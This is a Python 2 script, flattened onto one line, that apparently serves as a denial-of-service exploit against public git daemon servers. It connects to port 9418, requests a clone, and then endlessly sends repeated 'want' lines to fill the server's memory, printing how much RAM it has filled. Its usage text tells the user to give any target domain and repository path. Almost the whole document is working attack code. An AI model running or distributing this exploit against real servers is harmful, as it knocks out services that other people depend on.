#!/usr/bin/python from socket import * import sys,time if len(sys.argv)!=3: print "Ok, it is not a real memory leak but it can be used against any public git server.\nAn http version of this script would benefit from a large zlib compression ratio allowing to fill the ram 200 time faster like with ssh" print "" print "usage" print "argv1 is the target domain name or address" print "argv2 is the path to a non empty repo with at least 2 refs" print "" print "for example git://somesite.com/git/linux.git would become" print sys.argv[0] + " somesite.com /git/linux.git" exit(1) sockobj = socket(AF_INET, SOCK_STREAM) sockobj.connect((sys.argv[1],9418)) path="git-upload-pack "+sys.argv[2]+"\0host="+sys.argv[1]+'\0' # request a clone sockobj.send(format(len(path)+4,'04x')+path) # see the git documentation for more information about the pkt-line format # Even when blocking, socket.recv might not send the complete request size def full_read(length): buf=sockobj.recv(length) size=length-len(buf) while size>0: time.sleep(0.001) # wait for data to arrive buf+=sockobj.recv(size) size=size-len(buf) return buf obj=[full_read(int(full_read(4),16)-4)] pkt_line_length=int(sockobj.recv(4),16)-4 # represent the lenght of a packet in pkt-line format (in hex on 4 ascii bytes) while pkt_line_length>0: obj.append(full_read(pkt_line_length)) pkt_line_length=int(full_read(4),16)-4 if sys.getsizeof(obj)>150000: # Don t do the same error of the official git project, limit our ram usage time.sleep(1) sockobj.recv(10000) # be sure git-upload-pack would be ready for recieving break first_line="want "+obj[0][:40]+" multi_ack_detailed side-band-64k thin-pack ofs-delta agent=git/2.9.2\n" # The first line have a different format sockobj.send(format(len(first_line)+4,'04x')+first_line) # send it in the pkt-line format line_list="0032want "+obj[1][:40]+'\n' while len(line_list)<65430: # Get the ideal tcp packet size for fastest bandwidth (64Ko) for i in obj: if (i==obj[0]) or (i==obj[1]) or ("pull" in i): continue line_list+="0032want "+i[:40]+'\n' if len(line_list)>65480: break # struct object (see object.h line 47) # unsigned int # unsigned int # unsigned int # unsigned int # unsigned char binary_sha[20] # objects=object + # char *=NULL (64 bit int) # char *=NULL (64 bit int) # unsigned mode line_list_len=line_list.count('\n')*56 # Line lengths of the pkt-line format won t fill the ram, so remove them from the size counter count=line_list_len while True: sys.stdout.flush() sockobj.send(line_list) # for each line, the git-send-pack process allocate append a member to a struct objects array print("\r%.2f Mo of ram filled" % float(count/float(1048576))), count+=line_list_len